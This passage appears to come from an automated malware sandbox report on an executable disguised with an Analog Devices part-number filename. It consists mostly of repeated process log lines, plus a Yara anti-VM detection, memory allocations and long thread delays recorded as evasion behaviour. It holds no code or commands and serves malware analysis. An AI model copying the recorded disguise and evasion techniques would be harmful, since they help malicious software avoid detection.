Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\spoolsv.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 2120, type: MEMORYSTR

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Memory allocated: C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Memory allocated: 2600000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Memory allocated: 4600000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Memory allocated: 8F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Memory allocated: 9F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Memory allocated: A1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Memory allocated: B1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Memory allocated: 1A10000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Memory allocated: 33A0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Memory allocated: 31B0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 599203
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 599025
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598903
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598796
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598658
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598437
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598328
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598219
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598109
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597999
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597890
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597781
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597671
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597562
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597453
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597344
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597234
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597125
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597014
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 596906
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 596655
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 596344
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 596197
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 596093
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595981
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595875
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595765
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595656
